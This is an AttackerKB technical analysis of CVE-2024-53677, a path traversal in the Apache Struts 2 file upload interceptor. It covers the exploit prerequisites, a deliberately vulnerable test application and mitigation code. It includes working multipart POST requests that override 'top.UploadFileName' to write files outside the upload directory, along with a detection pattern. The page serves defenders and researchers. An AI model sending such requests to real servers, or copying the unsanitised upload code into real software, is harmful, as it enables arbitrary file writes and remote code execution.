High
CVE-2024-53677
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
High
(1 user assessed)Low
(1 user assessed)Unknown
Unknown
Unknown
CVE-2024-53677
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.
This issue affects Apache Struts: from 2.0.0 before 6.4.0.
Users are recommended to upgrade to version 6.4.0 at least and migrate to the new file upload mechanism https://struts.apache.org/core-developers/file-upload . If you are not using an old file upload logic based on FileuploadInterceptor your application is safe.
You can find more details in https://cwiki.apache.org/confluence/display/WW/S2-067
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityLow
Technical Analysis
CVE-2024-53677 is a flawed upload logic vulnerability in Apache Struts 2. The vulnerability permits an attacker to override internal file upload variables in applications that use the Apache Struts 2 File Upload Interceptor. Malicious uploaded files with relative path traversal sequences in the name result in arbitrary file write, facilitating remote code execution in many scenarios. This vulnerability is similar to CVE-2023-50164, but remediation is more challenging; patching applications requires that the developers rewrite all affected file upload code, since, based on our testing, merely upgrading the framework dependency to a “fixed” version does not prevent exploitation. The 6.4.0 version mentioned in the ‘Solution’ section of the advisory was released in April of 2024 and does not appear to contain a fix for the vulnerability, nor do any later 6.x releases (as of December 18, 2024) — including the latest release in the 6.x version stream (6.7.0).
File Upload Interceptor
The File Upload Interceptor in Struts 2 is used for binding uploaded file content, the file’s name, and its content type to specific properties in the action class. It’s intended to be a trusted method of filtering uploaded files, including limiting permissible file types, capping file sizes, safely translating incoming file names, and more. With the release of Struts 2 version 6.4.0, the use of File Upload Interceptor is now intended to be deprecated — developers are meant to use the Action File Upload Interceptor instead, and the Apache maintainers have stated that File Upload Interceptor should no longer be used.
However, based on testing, it does not appear to have been removed or patched in 6.4.0, or any other 6.x version. Instead, File Upload Interceptor is marked “deprecated”, but it still exists and appears to operate in a vulnerable manner on all tested 6.x versions of Struts 2. Furthermore, even explicitly changing interceptor values from “fileUpload” to ”actionFileUpload” in Struts XML definition files for 6.x applications appears to silently fall back to using the vulnerable File Upload Interceptor without additional necessary code-level changes.
Vulnerability Impact
Because Apache Struts 2 is a popular framework for application development, it’s possible that CVE-2024-53677 could potentially affect a reasonably broad swath of (particularly legacy) applications. CVE-2024-53677 specifically is confusing and difficult to patch, and the impact can be unauthenticated RCE. As such, I’ve rated “Attacker Value” as “High”. However, much like CVE-2023-50164, a similar Apache Struts vulnerability from 2023, payloads for CVE-2024-53677 will need to customized on a per-target basis in most (if not all) cases. Because of the bespoke payload requirement, I’ve rated “Exploitability” as “Low”. It’s been reported that exploitation in the wild is taking place. However, these payloads do not appear to be valid payloads for CVE-2024-53677, so it remains to be seen how much successful exploitation in the wild will occur.
Defenders should know that simply updating to Struts 2 >= 6.4.0 is not sufficient to prevent exploitation. File upload endpoints that use the vulnerable File Upload Interceptor (<interceptor-ref name="fileUpload"/>
) will need to be refactored to use Action File Upload Interceptor (<interceptor-ref name="actionFileUpload"/>
) instead. As mentioned above, attention to detail is vital during patching, since Struts 6.x file uploads will default to the vulnerable File Upload Interceptor without code-level changes, even if “actionFileUpload” interceptor is explicitly specified in Struts XML files. More on this can be found in the “Mitigation Guidance” section.
For detection purposes, payloads will be bespoke, but all working payloads should contain either the upload field name pattern top.{CAPITALIZED_UPLOAD_NAME}FileName
(single-file upload) or {UPLOAD_NAME}FileName[0]
(multi-file upload).
Exploitability
There are several important prerequisites and details for exploitation of CVE-2024-53677:
- Exploitation requires knowledge of, and access to, an upload endpoint that uses a File Upload Interceptor. In practical terms, an attacker must have the ability to upload files to a Struts 2 application via a web page or API endpoint.
- White box code visibility is not necessary, making black box exploitation viable. Knowledge of the upload form field names is required, but this data will be pre-populated or documented for most web applications and APIs.
- Whether or not authentication is required for exploitation depends on whether file upload functionality is accessible without authentication. For example, Struts 2 applications with a vulnerable file upload in a public “Contact Us” form would be exploitable for traversal writes without authentication; a vulnerable file upload on an admin-only web page would require high privileges to exploit.
- Exploitation is bespoke, since each vulnerable application is likely to implement file uploads in a unique way. Payloads will differ if multiple form fields are expected by the target software. A single file-only upload page requires a different payload than, for example, an upload endpoint that expects two files and a text description. Automated payload spraying will likely take place, but threat actors will need to develop payloads for each affected target piece of software.
- Some applications may contain secondary manual checks and sanitization of file names as an additional defensive measure. In that scenario, if those measures are implemented effectively, exploitation will not be viable.
Technical Analysis
Security researcher Y4tacker published an excellent analysis of the vulnerability, which this high-level analysis is based on. Similar to CVE-2023-50164, the modification of name capitalization on some web request form fields permits an attacker to confuse the internal Struts data processing logic to incorrectly bind parameters. As outlined in the Y4tacker analysis, the exploited code path differs between single-file uploads and multi-file uploads. However, the same capitalization-based parameter binding confusion premise is used to control those different internal values.
The following vulnerable web application was created for testing the single-file upload scenario. The interceptor <interceptor-ref name="fileUpload">
, the File Upload Interceptor, is used in our XML Struts definition file. Note: the absence of a “fileUpload” interceptor definition in XML does not necessarily mean that the application is not vulnerable. More on this in the mitigation section.
$ tree -a src/ src/ └── main ├── java │ └── com │ └── example │ └── UploadAction.java ├── resources │ └── struts.xml └── webapp ├── index.jsp ├── upload.jsp └── WEB-INF └── web.xml $ cat src/main/resources/struts.xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN" "http://struts.apache.org/dtds/struts-2.5.dtd"> <struts> <package name="default" extends="struts-default"> <action name="upload" class="com.example.UploadAction"> <interceptor-ref name="fileUpload"> <param name="allowedTypes">text/plain,image/jpeg,image/png,application/octet-stream</param> <param name="maximumSize">5242880</param> <!-- 5MB --> </interceptor-ref> <interceptor-ref name="defaultStack" /> <result name="success">upload.jsp</result> <result name="error">upload.jsp</result> </action> </package> </struts> $ cat src/main/webapp/WEB-INF/web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> $ cat src/main/webapp/index.jsp <%@ page contentType="text/html; charset=UTF-8" %> <html> <body> <h1>Upload</h1> <form action="upload" method="post" enctype="multipart/form-data"> <label for="file">Select a file:</label> <input type="file" name="upload" id="file" /> <br><br> <input type="submit" value="Upload File" /> </form> </body> </html> $ cat src/main/webapp/upload.jsp <%@ page contentType="text/html; charset=UTF-8" %> <%@ taglib prefix="s" uri="/struts-tags" %> <html> <body> <h1>Upload Result</h1> <s:property value="message" /> <br> <a href="index.jsp">Back</a> </body> </html>
Our primary upload logic is in UploadAction.java
, where we’ll use a typical File Upload Interceptor-based file upload pattern. We’ll define an uploads directory, create a new file by concatenating uploadFileName
(which is supposed to be safe) with our directory path, then copy the temporary file that exists in the Tomcat temp directory to the new location. We do not perform any sanitization, since Struts is expected to take care of that for us.
package com.example; import java.io.File; import java.io.IOException; import org.apache.commons.io.FileUtils; public class UploadAction { private File upload; private String uploadFileName; private String uploadContentType; private static final String UPLOAD_DIRECTORY = "/var/log/tomcat9/struts_uploads"; public String execute() { try { System.out.println("Src File name: " + upload); System.out.println("Dst File name: " + uploadFileName); File destFile = new File(UPLOAD_DIRECTORY, uploadFileName); FileUtils.copyFile(upload, destFile); } catch(IOException e) { e.printStackTrace(); return "error"; } return "success"; } public File getUpload() { return upload; } public void setUpload(File upload) { this.upload = upload; } public String getUploadContentType() { return uploadContentType; } public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; } public String getUploadFileName() { return uploadFileName; } public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; } }
We’ll compile the application, copy the WAR file to the Tomcat directory, then restart the service.
$ mvn clean package && sudo cp target/Struts2FileUpload.war /var/lib/tomcat9/webapps/ && sudo systemctl restart tomcat9.service
If we submit the following POST request, which contains a simple traversal attempt in the file name, the traversal is stripped, the console logs Dst File name: testwrite.txt
, and the file is written to the appropriate directory.
POST /Struts2FileUpload/upload HTTP/1.1 Host: 192.168.130.13:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK Content-Length: 682 ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="upload"; filename="../testwrite.txt" Content-Type: text/plain TESTING ------WebKitFormBoundaryiqze7OZ2lynLStkK
$ ls /var/log/tomcat9/struts_uploads/ testwrite.txt
Next, we’ll attempt to clobber top.uploadFileName
, the internal OGNL value used by Struts 2 for single-file uploads, as discussed in the Y4tacker analysis. As shown in the code, our input matches the file upload (called upload
), and we’re targeting the internal top
value of the OGNL value stack. However, we aren’t capitalizing “upload” in “uploadFileName” to confuse the upload data handling logic. Because of that, this attempt should also fail.
POST /Struts2FileUpload/upload HTTP/1.1 Host: 192.168.130.13:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK Content-Length: 319 ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="upload"; filename="testwrite2.txt" Content-Type: text/plain TESTING ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="top.uploadFileName" ../testwrite2.txt ------WebKitFormBoundaryiqze7OZ2lynLStkK--
The traversal is stripped again, and the file write is sane.
$ ls /var/log/tomcat9/struts_uploads/ testwrite2.txt testwrite.txt
Lastly, we’ll send a capitalized payload to confuse the parameter binding process and gain control of the top
OGNL stack value, as described in the Y4tacker analysis.
POST /Struts2FileUpload/upload HTTP/1.1 Host: 192.168.130.13:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK Content-Length: 319 ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="Upload"; filename="testwrite3.txt" Content-Type: text/plain TESTING ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="top.UploadFileName" ../testwrite3.txt ------WebKitFormBoundaryiqze7OZ2lynLStkK--
This time, the console logs Dst File name: ../testwrite3.txt
and the file traversal results in the file being written in the parent tomcat9
directory.
$ ls /var/log/tomcat9/testwrite3.txt /var/log/tomcat9/testwrite3.txt
No patch analysis is provided in this write up, since it appears that no patch was issued for the vulnerability. The recommended 6.4.0 version does not patch the vulnerability, nor does any other 6.x version (as of December 18, 2024). Instead, Apache Struts now recommends that Action File Upload Interceptor should be used instead of File Upload Interceptor, and File Upload Interceptor has been removed in v7.x. The new Action File Upload Interceptor does not appear to offer sanitized file names as a feature, instead opting to leave that for developers using the framework.
Mitigation guidance
Updating to Struts 2 >= 6.4.0 on 6.x is not sufficient to prevent exploitation. File upload endpoints that use the vulnerable File Upload Interceptor will need to be refactored to use Action File Upload Interceptor instead.
Below, we’ll show an example of how to convert the vulnerable file upload example above to a non-vulnerable one. Apache Struts documentation demonstrates examples here and here. It’s vital to note that it appears that the Struts framework no longer indicates it will take responsibility for sanitizing file names when using Action File Upload Interceptor. This will be a departure from the norm for Struts developers, since the previous File Upload Interceptor was designed to sanitize tainted file names. Instead, using the new Action File Upload Interceptor, developers must either sanitize the tainted data provided by getOriginalName()
or specify a new name for the file.
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN" "http://struts.apache.org/dtds/struts-2.5.dtd"> <struts> <package name="default" extends="struts-default"> <action name="upload" class="com.example.UploadAction"> <!-- Include Action File Upload Interceptor explicitly --> <interceptor-ref name="actionFileUpload"> <param name="allowedTypes">text/plain,image/jpeg,image/png,application/octet-stream</param> <param name="maximumSize">5242880</param> <!-- 5MB --> </interceptor-ref> <interceptor-ref name="defaultStack" /> <result name="success">upload.jsp</result> <result name="error">upload.jsp</result> </action> </package> </struts>
Note: If only the XML changes shown above are made, without making the code-level changes shown below, Struts appears to silently fall back to using File Upload Interceptor instead of Action File Upload Interceptor. In that scenario, without code-level changes, CVE-2024-53677 will remain exploitable.
Along with some new imports, we’ll modify our UploadAction
class to extend ActionSupport
and implement UploadedFilesAware
. Referencing the Action File Upload Interceptor implementation examples, we’ll also define an override withUploadedFiles
method. Per the documentation, we’re now working with the fileName
and originalFileName
variables, sourced via UploadedFile.getName()
and UploadedFile.getOriginalName()
, respectively.
package com.example; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.util.List; import com.opensymphony.xwork2.ActionSupport; import org.apache.struts2.action.UploadedFilesAware; import org.apache.struts2.dispatcher.multipart.UploadedFile; public class UploadAction extends ActionSupport implements UploadedFilesAware { private static final String UPLOAD_DIRECTORY = "/var/log/tomcat9/struts_uploads"; private UploadedFile upload; private String contentType; private String fileName; private String originalFileName; @Override public void withUploadedFiles(List<UploadedFile> uploadedFiles) { if (!uploadedFiles.isEmpty()) { this.upload = uploadedFiles.get(0); this.fileName = upload.getName(); // On Tomcat, this is the temporary file name that contains no user input. this.contentType = upload.getContentType(); this.originalFileName = upload.getOriginalName(); // This is the original file name, and it is not sanitized or validated. } } public String execute() { try { System.out.println("Src File: " + upload); System.out.println("Dst File name: " + fileName); System.out.println("Orig File name: " + originalFileName); File destFile = new File(UPLOAD_DIRECTORY, fileName); File sourceFile = (File) upload.getContent(); Files.copy(sourceFile.toPath(), destFile.toPath(), StandardCopyOption.REPLACE_EXISTING); } catch (IOException e) { e.printStackTrace(); return ERROR; } return SUCCESS; } }
After compiling and copying the WAR file to the Tomcat directory, we perform a malicious web request containing traversal file name values to the modified application.
POST /Struts2FileUpload/upload HTTP/1.1 Host: 192.168.130.13:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiqze7OZ2lynLStkK Content-Length: 354 ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="Upload"; filename="../shouldbefixed_FILENAME.txt" Content-Type: text/plain TESTING ------WebKitFormBoundaryiqze7OZ2lynLStkK Content-Disposition: form-data; name="top.UploadFileName" ../shouldbefixed_INJECTEDFILENAME.txt ------WebKitFormBoundaryiqze7OZ2lynLStkK--
In the Catalina log file, we observe that the traversal sequence is present in originalFileName
, but fileName
contains a temporary file name.
[info] Src File: StrutsUploadedFile{contentType='text/plain', originalName='../shouldbefixed_FILENAME.txt', inputName='Upload'} [info] Dst File name: upload_ea82700a_786f_415b_a2d4_e0fa45b22b9b_00000002.tmp [info] Orig File name: ../shouldbefixed_FILENAME.txt
As indicated in the code example above, the file is written with the name “upload_ea82700a_786f_415b_a2d4_e0fa45b22b9b_00000002.tmp”.
References:
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- Apache Software Foundation
Products
- Apache Struts
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: